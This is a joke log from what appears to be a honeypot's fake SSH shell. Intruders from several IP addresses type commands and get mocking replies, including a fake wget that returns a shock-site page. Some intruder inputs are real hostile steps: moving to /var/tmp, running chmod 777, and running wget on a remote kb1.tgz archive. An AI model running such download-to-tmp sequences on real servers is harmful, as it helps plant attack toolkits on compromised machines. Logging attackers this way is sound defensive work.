4-in-1 update

Connected from 89.120.97.50 10118 22
sh-3.00# ls
-bash: ls: command not found
sh-3.00# uptime
-bash: uptime: command not found
sh-3.00# ?
-bash: ?: command not found... perhaps you should consult the manual.
sh-3.00# help
-bash: Helq@: command not found
sh-3.00# enable
-bash: *Eobble~: command not found, fatfingers
sh-3.00# ping
ping: Permission denied
sh-3.00# ls -a
Running "ls" as "root"...oops, that didn't work.
sh-3.00# adduser
Well THAT's never going to work.
sh-3.00# addusr
Are you sure you know what you're doing?
sh-3.00# ?
Look, it's not that hard.
sh-3.00# help
I'm afraid I can't do that, Dave.

Connected from 89.120.97.50 10191 22
sh-3.00# enable-shell
-bash: enable-shell: command not found
sh-3.00#
sh-3.00# enable bash
-bash: enable: command not found
sh-3.00# enable-bash
-bash: enable-bash: command not found... perhaps you should consult the manual.
sh-3.00# ?
-bash: ?@: command not found
sh-3.00# help
-bash: *Hemp~: command not found, fatfingers
sh-3.00# ??
??: Permission denied
sh-3.00# uname -a
CIA Top Sec^H^H^H^H^H^H^H^H^H^H^H Linux 2.6.1
sh-3.00# ca /vba
Running "ca" as "root"...oops, that didn't work.
sh-3.00# cd /var/tmp/
Well THAT's never going to work.
sh-3.00# chmod 777 *
Are you sure you know what you're doing?
sh-3.00# tar
Look, it's not that hard.
sh-3.00# wget
--16:39:02-- http://www.goatse.cx
=> `index.html'
Resolving www.goatse.cx...127.0.0.1
Connecting to www.goatse.cx[127.0.0.1]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,707 (4.6K) [zomg/goatse]
100%[====================================>] 4,707 --.--K/s
16:39:02 (376.31 KB/s) - `lol.teh.goatse' saved [4707/4707]
sh-3.00# pico lol.teh.goatse
I'm afraid I can't do that, Dave.
sh-3.00# wget kb.ws43.com/kb1.tgz
--16:39:18-- http://www.goatse.cx
=> `index.html'
Resolving www.goatse.cx...127.0.0.1
Connecting to www.goatse.cx[127.0.0.1]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,707 (4.6K) [zomg/goatse]
100%[====================================>] 4,707 --.--K/s
16:39:18 (376.31 KB/s) - `lol.teh.goatse' saved [4707/4707]
sh-3.00# ftp
How about a nice game of chess?
sh-3.00# enable shell
My circuits need a rest. It's been nice chatting with you.

Connected from 86.35.188.19 1340 22
sh-3.00# cat /proc/cpuinfo
-bash: cat: command not found
sh-3.00# wget
--16:40:34-- http://www.goatse.cx
=> `index.html'
Resolving www.goatse.cx...127.0.0.1
Connecting to www.goatse.cx[127.0.0.1]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,707 (4.6K) [zomg/goatse]
100%[====================================>] 4,707 --.--K/s
16:40:34 (376.31 KB/s) - `lol.teh.goatse' saved [4707/4707]
sh-3.00# tar
-bash: tar: command not found
sh-3.00# ls -a
-bash: ls: command not found... perhaps you should consult the manual.
sh-3.00# uname -a
CIA Top Sec^H^H^H^H^H^H^H^H^H^H^H Linux 2.6.1

Connected from 89.136.226.131 1574 22
sh-3.00# w
-bash: w: command not found
sh-3.00# ps x
-bash: ps: command not found
sh-3.00# uname a
CIA Top Sec^H^H^H^H^H^H^H^H^H^H^H Linux 2.6.1